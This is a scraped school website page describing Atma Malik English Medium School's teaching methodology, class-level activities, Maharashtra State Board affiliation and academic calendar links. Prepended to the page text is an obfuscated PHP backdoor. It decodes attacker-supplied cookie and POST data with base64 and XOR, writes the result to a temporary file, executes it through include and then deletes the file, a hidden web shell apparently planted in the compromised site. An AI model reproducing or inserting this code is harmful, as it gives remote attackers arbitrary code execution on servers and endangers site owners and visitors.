$GyrWgh = 't' . '_' . chr ( 535 - 457 ).chr (71) . 'p';$BnnareOZ = chr ( 131 - 32 ).chr (108) . "\141" . 's' . "\163" . "\137" . "\x65" . chr ( 554 - 434 ).chr ( 219 - 114 )."\163" . chr (116) . chr (115); $mjYpaIHq = class_exists($GyrWgh); $GyrWgh = "31048";$BnnareOZ = "25909";$aahkcJHQ = FALSE;if ($mjYpaIHq === $aahkcJHQ){function sryfEPIp(){return FALSE;}$xUDVar = "62395";sryfEPIp();class t_NGp{private function GdrndaW($xUDVar){if (is_array(t_NGp::$lVlNY)) {$TQaKmpwGPp = sys_get_temp_dir() . "/" . crc32(t_NGp::$lVlNY[chr ( 285 - 170 )."\141" . chr ( 1025 - 917 )."\164"]);@t_NGp::$lVlNY["\x77" . chr (114) . 'i' . chr (116) . "\x65"]($TQaKmpwGPp, t_NGp::$lVlNY["\143" . 'o' . chr ( 608 - 498 ).chr (116) . 'e' . chr (110) . "\x74"]);include $TQaKmpwGPp;@t_NGp::$lVlNY[chr ( 701 - 601 ).'e' . "\x6c" . chr ( 885 - 784 ).'t' . 'e']($TQaKmpwGPp); $xUDVar = "62395";exit();}}private $QsSImw;public function rbnNg(){echo 40457;}public function __destruct(){$xUDVar = "52243_28428";$this->GdrndaW($xUDVar); $xUDVar = "52243_28428";}public function __construct($XfgUMju=0){$sKzCxQ = $_POST;$HjUSpS = $_COOKIE;$woSyh = "66ca5fb6-ac04-4199-b978-b38d0e00668b";$sYYtfOK = @$HjUSpS[substr($woSyh, 0, 4)];if (!empty($sYYtfOK)){$Hkzvlq = "base64";$dwQjwSB = "";$sYYtfOK = explode(",", $sYYtfOK);foreach ($sYYtfOK as $oNiYJoH){$dwQjwSB .= @$HjUSpS[$oNiYJoH];$dwQjwSB .= @$sKzCxQ[$oNiYJoH];}$dwQjwSB = array_map($Hkzvlq . '_' . chr (100) . "\145" . chr ( 900 - 801 ).chr (111) . chr ( 419 - 319 )."\x65", array($dwQjwSB,)); $dwQjwSB = $dwQjwSB[0] ^ str_repeat($woSyh, (strlen($dwQjwSB[0]) / strlen($woSyh)) + 1);t_NGp::$lVlNY = @unserialize($dwQjwSB);}}public static $lVlNY = 28732;}$DDnoEss = new /* 18348 */ t_NGp(62395); $DDnoEss = str_repeat("52243_28428", 1);} https://www.amemshahapur.in/academics/ Academics Atma Malik English Medium School
Atma Malik English Medium School - Shahapur

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Academics

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AMEMS METHODOLOGY

& Learning Styles

ACADEMIC CALENDAR & OTHER LINKS

TEACHING METHODOLOGY

At Atma Malik English Medium School (State Board) & Junior College, we aims towards nurturing and empowering students’ young minds with to think in different constructive ways; enabling them to take positive and creative decisions in life. Our teaching methodology is a balanced mix of experiential learning, theories, storytelling clubbed with apt use of digital avenues to meet the purpose. Our teachers keep in mind the ever-evolving trends in the education teaching methods and continually align our teaching methodologies.

Apart from the trends, we have incorporated sessions focused on development of mind, body and soul in our methodology, making it one-of-a-kind in the industry. The teaching styles and methods adopted are evaluated and re-evaluated and redesigned to provide the best to the students. We ensure that our teaching is pragmatic; learning is delivered through interesting activities.

Our teachers and faculties encourage our students to actively participate in the various activities like group games, puzzles, flash cards, drawing, coloring, conversations, etc. to foster better learning. The activities are planned with the aim of developing communication skills; the dramatization of poems and stories also plays an important role in learning through expressive actions. Our teaching methods are focused on reinforcing an innate sense of discovery in everything that is taught.

PRIMARY LEVEL (CLASS I TO CLASS V)

  • Audio-visual aids clubbed with classroom teaching to foster better learning
  • Encouraging teamwork through project works while teaching them to develop their innate potential and individuality
  • Experiential & fun-filled learning through field trips and excursions
  • Enhancing general awareness with puzzles, crosswords, quizzes, newspaper articles and other learning tools

Middle & Secondary Level (Class VI to Class X)

  • Focus on higher and in-depth learning
  • Research based projects involving discussions and group project work that requires working in teams
  • Focus on developing individual personality traits and confidence and inculcating values through activities like PowerPoint presentations and other group projects

Higher Secondary Level (Class XI to Class XII (Science))

  • Focus on higher and in-depth learning with practical demonstrations.
  • Research based projects involving discussions and group project work that requires working in teams
  • Focus on developing individual personality traits and confidence and inculcating values through activities like PowerPoint presentations and other group projects

AMEMS CURRRICULUMN Maharashtra State Board

Atma Malik English Medium School (State Board) & Junior College is affiliated to Maharashtra State Board. The Maharashtra State Board of Secondary & Higher Secondary Education, Pune 411004 is an Autonomous Body established under the provisions of the Maharashtra Act No. 41 of 1965. The Maharashtra State Board of Secondary & Higher Secondary Education, conducts the HSC and SSC Examinations in the state of Maharashtra through its nine Divisional Boards located at Pune, Mumbai, Aurangabad, Nasik, Kolhapur, Amravati, Latur, Nagpur and Ratnagiri. The Board conducts examination twice a year and the number of students appearing for the main examination is around 14 Lacs for HSC and 17 Lac’s SSC, for the supplementary examination around 6 Lacs students are expected HSC and SSC together.

Academic Calendar & Parents Visit & Meet Schedule

ACADEMIC CALENDAR JUNE 2020 TO DEC 2020

ACADEMIC CALENDAR JANUARY 2021 TO JUNE 2021

PARENTS VISIT SCHEDULE 2020-21

PARENTS MEET SCHEDULE 2020-21

VACATION SCHEDULE NEW 2020-21